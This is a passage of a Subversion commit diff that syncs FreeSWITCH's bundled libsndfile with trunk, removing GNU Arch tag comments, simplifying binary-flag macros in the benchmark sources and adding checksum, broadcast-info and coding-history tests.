 ** it under the terms of the GNU General Public License as published by
@@ -233,18 +233,3 @@
     return sample ;
 } /* alaw_decode */
 
-
-
-
-
-
-
-
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: d3fb5eae-b3a4-4c5b-90ab-e3daa64c4a57
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/benchmark.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/benchmark.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/benchmark.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -41,13 +41,21 @@
 #define		M_PI		3.14159265358979323846264338
 #endif
 
-#if (defined (WIN32) || defined (_WIN32))
-	#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC | O_BINARY)
-	#define	READ_FLAGS	(O_RDONLY | O_BINARY)
+/*
+**	Neat solution to the Win32/OS2 binary file flage requirement.
+**	If O_BINARY isn't already defined by the inclusion of the system
+**	headers, set it to zero.
+*/
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
+#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC | O_BINARY)
+#define	READ_FLAGS	(O_RDONLY | O_BINARY)
+
+#if (defined (WIN32) || defined (_WIN32) || defined (__OS2__))
 	#define WRITE_PERMS	0777
 #else
-	#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC)
-	#define	READ_FLAGS	(O_RDONLY)
 	#define WRITE_PERMS	(S_IRUSR | S_IWUSR | S_IRGRP)
 #endif
 
@@ -535,4 +543,3 @@
 	return "UNKNOWN" ;
 } /* get_subtype_str */
 
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/benchmark.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/benchmark.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/benchmark.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,11 +15,3 @@
 	multiplier		= "1.0" ;
 	};
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5cadd2d0-dd74-4067-9d75-781a36d6bf15
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/benchmark.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/benchmark.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/benchmark.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -42,13 +42,21 @@
 #define		M_PI		3.14159265358979323846264338
 #endif
 
-#if (defined (WIN32) || defined (_WIN32))
-	#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC | O_BINARY)
-	#define	READ_FLAGS	(O_RDONLY | O_BINARY)
+/*
+**	Neat solution to the Win32/OS2 binary file flage requirement.
+**	If O_BINARY isn't already defined by the inclusion of the system
+**	headers, set it to zero.
+*/
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
+#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC | O_BINARY)
+#define	READ_FLAGS	(O_RDONLY | O_BINARY)
+
+#if (defined (WIN32) || defined (_WIN32) || defined (__OS2__))
 	#define WRITE_PERMS	0777
 #else
-	#define	WRITE_FLAGS	(O_WRONLY | O_CREAT | O_TRUNC)
-	#define	READ_FLAGS	(O_RDONLY)
 	#define WRITE_PERMS	(S_IRUSR | S_IWUSR | S_IRGRP)
 #endif
 
@@ -350,12 +358,3 @@
 	return "UNKNOWN" ;
 } /* get_subtype_str */
 
-[+ COMMENT
-
- Do not edit or modify anything in this comment block.
- The following line is a file identity tag for the GNU Arch 
- revision control system.
-
- arch-tag: 64ccb3fb-c61d-42d7-b14f-0ec3ba303f88
-
-+]

Copied: freeswitch/branches/seven/libs/libsndfile/tests/checksum_test.c (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/checksum_test.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/checksum_test.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/checksum_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+
+#include <sndfile.h>
+
+#include "utils.h"
+
+#define	SAMPLE_RATE	8000
+
+typedef struct
+{	int	enc_fmt ;
+
+	const char * enc_name ;
+	const char * dec_name ;
+
+	uint64_t	enc_cksum ;
+	uint64_t	dec_cksum ;
+} CHECKSUM ;
+
+static CHECKSUM
+checksum_orig [] =
+{
+	{	SF_FORMAT_RAW | SF_FORMAT_ULAW,
+		"checksum.ulaw", "cksum_ulaw.pcm16",
+		0x33aefae029e0c888LL, 0x595cd6e47edd0cffLL
+		},
+	{	SF_FORMAT_RAW | SF_FORMAT_ALAW,
+		"checksum.alaw", "cksum_alaw.pcm16",
+		0x48c798da3572d468LL, 0x6837d74869af5bb6LL
+		},
+	{	SF_FORMAT_RAW | SF_FORMAT_GSM610,
+		"checksum.gsm", "cksum_gsm.pcm16",
+		0x1b1f64ff2acf858fLL, 0x504179dbadd4bce6LL
+		},
+	{	SF_FORMAT_RAW | SF_FORMAT_VOX_ADPCM,
+		"checksum.vox", "cksum_vox.pcm16",
+		0xf1147fb3a298f4dfLL, 0xfc9c0cb8b12cb0abLL
+		},
+} ;
+
+static void checksum_test (const CHECKSUM * cksum) ;
+
+static float orig [1 << 14] ;
+static short data [1 << 14] ;
+
+int
+main (void)
+{	unsigned k ;
+
+	gen_windowed_sine_float (orig, ARRAY_LEN (orig), 0.9) ;
+
+	for (k = 0 ; k < ARRAY_LEN (checksum_orig) ; k++)
+		checksum_test (&checksum_orig [k]) ;
+
+	return 0 ;
+} /* main */
+
+/*==============================================================================
+*/
+
+static void
+checksum_test (const CHECKSUM * cksum)
+{	SNDFILE * file ;
+	SF_INFO info ;
+
+	print_test_name (__func__, cksum->enc_name) ;
+
+	info.format = cksum->enc_fmt ;
+	info.channels = 1 ;
+	info.samplerate	= SAMPLE_RATE ;
+
+	file = test_open_file_or_die (cksum->enc_name, SFM_WRITE, &info, 0, __LINE__) ;
+	test_write_float_or_die (file, 0, orig, ARRAY_LEN (orig), __LINE__) ;
+	sf_close (file) ;
+
+	check_file_hash_or_die (cksum->enc_name, cksum->enc_cksum, __LINE__) ;
+	puts ("ok") ;
+
+	/*------------------------------------------------------------------------*/
+
+	print_test_name (__func__, cksum->dec_name) ;
+
+	info.format = cksum->enc_fmt ;
+	info.channels = 1 ;
+	info.samplerate	= SAMPLE_RATE ;
+
+	file = test_open_file_or_die (cksum->enc_name, SFM_READ, &info, 0, __LINE__) ;
+	test_read_short_or_die (file, 0, data, ARRAY_LEN (data), __LINE__) ;
+	sf_close (file) ;
+
+	info.format = SF_ENDIAN_LITTLE | SF_FORMAT_RAW | SF_FORMAT_PCM_16 ;
+	info.channels = 1 ;
+	info.samplerate	= SAMPLE_RATE ;
+
+	file = test_open_file_or_die (cksum->dec_name, SFM_WRITE, &info, 0, __LINE__) ;
+	test_write_short_or_die (file, 0, data, ARRAY_LEN (data), __LINE__) ;
+	sf_close (file) ;
+
+	check_file_hash_or_die (cksum->dec_name, cksum->dec_cksum, __LINE__) ;
+
+	remove (cksum->enc_name) ;
+	remove (cksum->dec_name) ;
+
+	puts ("ok") ;
+} /* checksum_test */
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/command_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/command_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/command_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -36,15 +36,21 @@
 #define	BUFFER_LEN		(1<<10)
 #define LOG_BUFFER_SIZE	1024
 
-static	void	float_norm_test		(const char *filename) ;
-static	void	double_norm_test	(const char *filename) ;
-static	void	format_tests		(void) ;
-static	void	calc_peak_test		(int filetype, const char *filename) ;
-static	void	truncate_test		(const char *filename, int filetype) ;
-static	void	instrument_test		(const char *filename, int filetype) ;
-static	void	channel_map_test	(const char *filename, int filetype) ;
-static	void	broadcast_test		(const char *filename, int filetype) ;
+static	void	float_norm_test			(const char *filename) ;
+static	void	double_norm_test		(const char *filename) ;
+static	void	format_tests			(void) ;
+static	void	calc_peak_test			(int filetype, const char *filename) ;
+static	void	truncate_test			(const char *filename, int filetype) ;
+static	void	instrument_test			(const char *filename, int filetype) ;
+static	void	channel_map_test		(const char *filename, int filetype) ;
+static	void	current_sf_info_test	(const char *filename) ;
+static	void	raw_needs_endswap_test	(const char *filename, int filetype) ;
 
+static	void	broadcast_test			(const char *filename, int filetype) ;
+static	void	broadcast_rdwr_test		(const char *filename, int filetype) ;
+static	void	broadcast_coding_history_test	(const char *filename) ;
+static	void	broadcast_coding_history_size	(const char *filename) ;
+
 /* Force the start of this buffer to be double aligned. Sparc-solaris will
 ** choke if its not.
 */
@@ -68,6 +74,9 @@
 		printf ("           trunc   - test file truncation\n") ;
 		printf ("           inst    - test set/get of SF_INSTRUMENT.\n") ;
 		printf ("           chanmap - test set/get of channel map data..\n") ;
+		printf ("           bext    - test set/get of SF_BROADCAST_INFO.\n") ;
+		printf ("           bextch  - test set/get of SF_BROADCAST_INFO coding_history.\n") ;
+		printf ("           rawend  - test SFC_RAW_NEEDS_ENDSWAP.\n") ;
 		printf ("           all     - perform all tests\n") ;
 		exit (1) ;
 		} ;
@@ -76,13 +85,16 @@
 
 	if (do_all || strcmp (argv [1], "ver") == 0)
 	{	char buffer [128] ;
+
+		print_test_name ("version_test", "(none)") ;
 		buffer [0] = 0 ;
 		sf_command (NULL, SFC_GET_LIB_VERSION, buffer, sizeof (buffer)) ;
 		if (strlen (buffer) < 1)
 		{	printf ("Line %d: could not retrieve lib version.\n", __LINE__) ;
 			exit (1) ;
 			} ;
-		test_count++ ;
+		puts ("ok") ;
+		test_count ++ ;
 		} ;
 
 	if (do_all || strcmp (argv [1], "norm") == 0)
@@ -91,43 +103,66 @@
 		*/
 		float_norm_test		("float.wav") ;
 		double_norm_test	("double.wav") ;
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
 	if (do_all || strcmp (argv [1], "peak") == 0)
 	{	calc_peak_test (SF_ENDIAN_BIG		| SF_FORMAT_RAW, "be-peak.raw") ;
 		calc_peak_test (SF_ENDIAN_LITTLE	| SF_FORMAT_RAW, "le-peak.raw") ;
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "format"))
 	{	format_tests () ;
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
 	if (do_all || strcmp (argv [1], "trunc") == 0)
 	{	truncate_test ("truncate.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_32) ;
 		truncate_test ("truncate.au" , SF_FORMAT_AU | SF_FORMAT_PCM_16) ;
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
 	if (do_all || strcmp (argv [1], "inst") == 0)
 	{	instrument_test ("instrument.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
 		instrument_test ("instrument.aiff" , SF_FORMAT_AIFF | SF_FORMAT_PCM_24) ;
 		/*-instrument_test ("instrument.xi", SF_FORMAT_XI | SF_FORMAT_DPCM_16) ;-*/
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
+	if (do_all || strcmp (argv [1], "current_sf_info") == 0)
+	{	current_sf_info_test ("current.wav") ;
+		test_count ++ ;
+		} ;
+
+	if (do_all || strcmp (argv [1], "bext") == 0)
+	{	broadcast_test ("broadcast.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
+		broadcast_rdwr_test	("broadcast.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
+
+		broadcast_test ("broadcast.wavex", SF_FORMAT_WAVEX | SF_FORMAT_PCM_16) ;
+		broadcast_rdwr_test	("broadcast.wavex", SF_FORMAT_WAVEX | SF_FORMAT_PCM_16) ;
+		test_count ++ ;
+		} ;
+
+	if (do_all || strcmp (argv [1], "bextch") == 0)
+	{	broadcast_coding_history_test ("coding_history.wav") ;
+		broadcast_coding_history_size ("coding_hist_size.wav") ;
+		test_count ++ ;
+		} ;
+
 	if (do_all || strcmp (argv [1], "chanmap") == 0)
 	{	channel_map_test ("chanmap.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
 		channel_map_test ("chanmap.aiff" , SF_FORMAT_AIFF | SF_FORMAT_PCM_24) ;
-		/*-instrument_test ("instrument.xi", SF_FORMAT_XI | SF_FORMAT_DPCM_16) ;-*/
-		test_count++ ;
+		test_count ++ ;
 		} ;
 
-	if (do_all || strcmp (argv [1], "bext") == 0)
-	{	broadcast_test ("broadcast.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
-		test_count++ ;
+	if (do_all || strcmp (argv [1], "rawend") == 0)
+	{	raw_needs_endswap_test ("raw_end.wav", SF_FORMAT_WAV) ;
+		raw_needs_endswap_test ("raw_end.wavex", SF_FORMAT_WAVEX) ;
+		raw_needs_endswap_test ("raw_end.rifx", SF_ENDIAN_BIG | SF_FORMAT_WAV) ;
+		raw_needs_endswap_test ("raw_end.aiff", SF_FORMAT_AIFF) ;
+		raw_needs_endswap_test ("raw_end.aiff_le", SF_ENDIAN_LITTLE | SF_FORMAT_AIFF) ;
+		test_count ++ ;
 		} ;
 
 	if (test_count == 0)
@@ -612,7 +647,40 @@
 	puts ("ok") ;
 } /* truncate_test */
 
+/*------------------------------------------------------------------------------
+*/
+
 static void
+instrumet_rw_test (const char *filename)
+{	SNDFILE *sndfile ;
+	SF_INFO sfinfo ;
+	SF_INSTRUMENT inst ;
+	memset (&sfinfo, 0, sizeof (SF_INFO)) ;
+
+	sndfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_FALSE, __LINE__) ;
+
+	if (sf_command (sndfile, SFC_GET_INSTRUMENT, &inst, sizeof (inst)) == SF_TRUE)
+	{	inst.basenote = 22 ;
+
+		if (sf_command (sndfile, SFC_SET_INSTRUMENT, &inst, sizeof (inst)) == SF_TRUE)
+			printf ("Sucess: [%s] updated\n", filename) ;
+		else
+			printf ("Error: SFC_SET_INSTRUMENT on [%s] [%s]\n", filename, sf_strerror (sndfile)) ;
+		}
+	else
+		printf ("Error: SFC_GET_INSTRUMENT on [%s] [%s]\n", filename, sf_strerror (sndfile)) ;
+
+
+	if (sf_command (sndfile, SFC_UPDATE_HEADER_NOW, NULL, 0) != 0)
+		printf ("Error: SFC_UPDATE_HEADER_NOW on [%s] [%s]\n", filename, sf_strerror (sndfile)) ;
+
+	sf_write_sync (sndfile) ;
+	sf_close (sndfile) ;
+
+	return ;
+} /* instrumet_rw_test */
+
+static void
 instrument_test (const char *filename, int filetype)
 {	static SF_INSTRUMENT write_inst =
 	{	2,		/* gain */
@@ -722,10 +790,62 @@
 			exit (1) ;
 		} ;
 
+	if (0) instrumet_rw_test (filename) ;
+
 	unlink (filename) ;
 	puts ("ok") ;
 } /* instrument_test */
 
+static	void
+current_sf_info_test	(const char *filename)
+{	SNDFILE *outfile, *infile ;
+	SF_INFO outinfo, ininfo ;
+	sf_count_t last_count ;
+
+	print_test_name ("current_sf_info_test", filename) ;
+
+	outinfo.samplerate	= 44100 ;
+	outinfo.format		= (SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
+	outinfo.channels	= 1 ;
+	outinfo.frames		= 0 ;
+
+	outfile = test_open_file_or_die (filename, SFM_WRITE, &outinfo, SF_TRUE, __LINE__) ;
+	sf_command (outfile, SFC_SET_UPDATE_HEADER_AUTO, NULL, 0) ;
+
+	exit_if_true (outinfo.frames != 0,
+		"\n\nLine %d : Initial sfinfo.frames is not zero.\n\n", __LINE__
+		) ;
+
+	test_write_double_or_die (outfile, 0, double_data, BUFFER_LEN, __LINE__) ;
+	sf_command (outfile, SFC_GET_CURRENT_SF_INFO, &outinfo, sizeof (outinfo)) ;
+
+	exit_if_true (outinfo.frames != BUFFER_LEN,
+		"\n\nLine %d : Initial sfinfo.frames (%ld) should be %d.\n\n", __LINE__,
+		SF_COUNT_TO_LONG (outinfo.frames), BUFFER_LEN
+		) ;
+
+	/* Read file making sure no channel map exists. */
+	memset (&ininfo, 0, sizeof (ininfo)) ;
+	infile = test_open_file_or_die (filename, SFM_READ, &ininfo, SF_TRUE, __LINE__) ;
+
+	last_count = ininfo.frames ;
+
+	test_write_double_or_die (outfile, 0, double_data, BUFFER_LEN, __LINE__) ;
+
+	sf_command (infile, SFC_GET_CURRENT_SF_INFO, &ininfo, sizeof (ininfo)) ;
+
+	exit_if_true (ininfo.frames != BUFFER_LEN,
+		"\n\nLine %d : Initial sfinfo.frames (%ld) should be %d.\n\n", __LINE__,
+		SF_COUNT_TO_LONG (ininfo.frames), BUFFER_LEN
+		) ;
+
+	sf_close (outfile) ;
+	sf_close (infile) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* current_sf_info_test */
+
 static void
 broadcast_test (const char *filename, int filetype)
 {	static SF_BROADCAST_INFO bc_write, bc_read ;
@@ -761,7 +881,7 @@
 
 	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
 	if (sf_command (file, SFC_GET_BROADCAST_INFO, &bc_read, sizeof (bc_read)) == SF_FALSE)
-	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+	{	printf ("\n\nLine %d : sf_command (SFC_GET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
 		exit (1) ;
 		return ;
 		} ;
@@ -814,15 +934,283 @@
 } /* broadcast_test */
 
 static	void
-channel_map_test (const char *filename, int filetype)
-{
-#if 1
-	filetype = 0 ;
-	print_test_name ("channel_map_test", filename) ;
-	puts ("not working yet") ;
-#else
+broadcast_rdwr_test (const char *filename, int filetype)
+{	SF_BROADCAST_INFO binfo ;
+	SNDFILE *file ;
+	SF_INFO sfinfo ;
+	sf_count_t frames ;
+
+	print_test_name (__func__, filename) ;
+
+	create_short_sndfile (filename, filetype, 2) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	memset (&binfo, 0, sizeof (binfo)) ;
+
+	snprintf (binfo.description, sizeof (binfo.description), "Test description") ;
+	snprintf (binfo.originator, sizeof (binfo.originator), "Test originator") ;
+	snprintf (binfo.originator_reference, sizeof (binfo.originator_reference), "%08x-%08x", (unsigned int) time (NULL), (unsigned int) (~ time (NULL))) ;
+	snprintf (binfo.origination_date, sizeof (binfo.origination_date), "%d/%02d/%02d", 2006, 3, 30) ;
+	snprintf (binfo.origination_time, sizeof (binfo.origination_time), "%02d:%02d:%02d", 20, 27, 0) ;
+	snprintf (binfo.umid, sizeof (binfo.umid), "Some umid") ;
+	binfo.coding_history_size = 0 ;
+
+	file = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, SF_TRUE, __LINE__) ;
+	frames = sfinfo.frames ;
+	if (sf_command (file, SFC_SET_BROADCAST_INFO, &binfo, sizeof (binfo)) != SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) should have failed but didn't.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_close (file) ;
+	exit_if_true (frames != sfinfo.frames, "\n\nLine %d : Frame count %lld should be %lld.\n", __LINE__, sfinfo.frames, frames) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* broadcast_rdwr_test */
+
+static void
+check_coding_history_newlines (const char *filename)
+{	static SF_BROADCAST_INFO bc_write, bc_read ;
 	SNDFILE	 *file ;
 	SF_INFO	 sfinfo ;
+	unsigned k ;
+
+	sfinfo.samplerate	= 22050 ;
+	sfinfo.format		= SF_FORMAT_WAV | SF_FORMAT_PCM_16 ;
+	sfinfo.channels		= 1 ;
+
+	memset (&bc_write, 0, sizeof (bc_write)) ;
+
+	snprintf (bc_write.description, sizeof (bc_write.description), "Test description") ;
+	snprintf (bc_write.originator, sizeof (bc_write.originator), "Test originator") ;
+	snprintf (bc_write.originator_reference, sizeof (bc_write.originator_reference), "%08x-%08x", (unsigned int) time (NULL), (unsigned int) (~ time (NULL))) ;
+	snprintf (bc_write.origination_date, sizeof (bc_write.origination_date), "%d/%02d/%02d", 2006, 3, 30) ;
+	snprintf (bc_write.origination_time, sizeof (bc_write.origination_time), "%02d:%02d:%02d", 20, 27, 0) ;
+	snprintf (bc_write.umid, sizeof (bc_write.umid), "Some umid") ;
+	bc_write.coding_history_size = snprintf (bc_write.coding_history, sizeof (bc_write.coding_history), "This has\nUnix\nand\rMac OS9\rline endings.\nLast line") ; ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_SET_BROADCAST_INFO, &bc_write, sizeof (bc_write)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	test_write_double_or_die (file, 0, double_data, BUFFER_LEN, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&bc_read, 0, sizeof (bc_read)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_GET_BROADCAST_INFO, &bc_read, sizeof (bc_read)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+	check_log_buffer_or_die (file, __LINE__) ;
+	sf_close (file) ;
+
+	if (bc_read.coding_history_size == 0)
+	{	printf ("\n\nLine %d : missing coding history.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	if (strstr (bc_read.coding_history, "Last line") == NULL)
+	{	printf ("\n\nLine %d : coding history truncated.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	for (k = 1 ; k < bc_read.coding_history_size ; k++)
+	{	if (bc_read.coding_history [k] == '\n' && bc_read.coding_history [k - 1] != '\r')
+		{	printf ("\n\nLine %d : '\\n' without '\\r' before.\n\n", __LINE__) ;
+			exit (1) ;
+			} ;
+
+		if (bc_read.coding_history [k] == '\r' && bc_read.coding_history [k + 1] != '\n')
+		{	printf ("\n\nLine %d : '\\r' without '\\n' after.\n\n", __LINE__) ;
+			exit (1) ;
+			} ;
+
+		if (bc_read.coding_history [k] == 0 && k < bc_read.coding_history_size - 1)
+		{	printf ("\n\nLine %d : '\\0' within coding history at index %d of %d.\n\n", __LINE__, k, bc_read.coding_history_size) ;
+			exit (1) ;
+			} ;
+		} ;
+
+	return ;
+} /* check_coding_history_newlines */
+
+static void
+broadcast_coding_history_test (const char *filename)
+{	static SF_BROADCAST_INFO bc_write, bc_read ;
+	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
+	const char *default_history = "A=PCM,F=22050,W=16,M=mono" ;
+	const char *supplied_history =
+					"A=PCM,F=44100,W=24,M=mono,T=other\r\n"
+					"A=PCM,F=22050,W=16,M=mono,T=yet_another\r\n" ;
+
+	print_test_name ("broadcast_coding_history_test", filename) ;
+
+	sfinfo.samplerate	= 22050 ;
+	sfinfo.format		= SF_FORMAT_WAV | SF_FORMAT_PCM_16 ;
+	sfinfo.channels		= 1 ;
+
+	memset (&bc_write, 0, sizeof (bc_write)) ;
+
+	snprintf (bc_write.description, sizeof (bc_write.description), "Test description") ;
+	snprintf (bc_write.originator, sizeof (bc_write.originator), "Test originator") ;
+	snprintf (bc_write.originator_reference, sizeof (bc_write.originator_reference), "%08x-%08x", (unsigned int) time (NULL), (unsigned int) (~ time (NULL))) ;
+	snprintf (bc_write.origination_date, sizeof (bc_write.origination_date), "%d/%02d/%02d", 2006, 3, 30) ;
+	snprintf (bc_write.origination_time, sizeof (bc_write.origination_time), "%02d:%02d:%02d", 20, 27, 0) ;
+	snprintf (bc_write.umid, sizeof (bc_write.umid), "Some umid") ;
+	/* Coding history will be filled in by the library. */
+	bc_write.coding_history_size = 0 ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_SET_BROADCAST_INFO, &bc_write, sizeof (bc_write)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	test_write_double_or_die (file, 0, double_data, BUFFER_LEN, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&bc_read, 0, sizeof (bc_read)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_GET_BROADCAST_INFO, &bc_read, sizeof (bc_read)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+	check_log_buffer_or_die (file, __LINE__) ;
+	sf_close (file) ;
+
+	if (bc_read.coding_history_size == 0)
+	{	printf ("\n\nLine %d : missing coding history.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	if (bc_read.coding_history_size < strlen (default_history) || memcmp (bc_read.coding_history, default_history, strlen (default_history)) != 0)
+	{	printf ("\n\nLine %d : unexpected coding history '%.*s'.\n\n", __LINE__, bc_read.coding_history_size, bc_read.coding_history) ;
+		exit (1) ;
+		} ;
+
+	bc_write.coding_history_size = strlen (supplied_history) ;
+	bc_write.coding_history_size = snprintf (bc_write.coding_history, sizeof (bc_write.coding_history), "%s", supplied_history) ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_SET_BROADCAST_INFO, &bc_write, sizeof (bc_write)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	test_write_double_or_die (file, 0, double_data, BUFFER_LEN, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&bc_read, 0, sizeof (bc_read)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_GET_BROADCAST_INFO, &bc_read, sizeof (bc_read)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	check_log_buffer_or_die (file, __LINE__) ;
+	sf_close (file) ;
+
+	if (strstr (bc_read.coding_history, supplied_history) != bc_read.coding_history)
+	{	printf ("\n\nLine %d : unexpected coding history :\n"
+				"----------------------------------------------------\n%s"
+				"----------------------------------------------------\n"
+				"should be this :\n"
+				"----------------------------------------------------\n%s"
+				"----------------------------------------------------\n"
+				"with one more line at the end.\n\n",
+				__LINE__, bc_read.coding_history, supplied_history) ;
+		exit (1) ;
+		} ;
+
+	check_coding_history_newlines (filename) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* broadcast_coding_history_test */
+
+/*==============================================================================
+*/
+
+static void
+broadcast_coding_history_size (const char *filename)
+{	/* SF_BROADCAST_INFO struct with coding_history field of 1024 bytes. */
+	static SF_BROADCAST_INFO_VAR (1024) bc_write ;
+	static SF_BROADCAST_INFO_VAR (1024) bc_read ;
+	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
+	int k ;
+
+	print_test_name (__func__, filename) ;
+
+	sfinfo.samplerate	= 22050 ;
+	sfinfo.format		= SF_FORMAT_WAV | SF_FORMAT_PCM_16 ;
+	sfinfo.channels		= 1 ;
+
+	memset (&bc_write, 0, sizeof (bc_write)) ;
+
+	snprintf (bc_write.description, sizeof (bc_write.description), "Test description") ;
+	snprintf (bc_write.originator, sizeof (bc_write.originator), "Test originator") ;
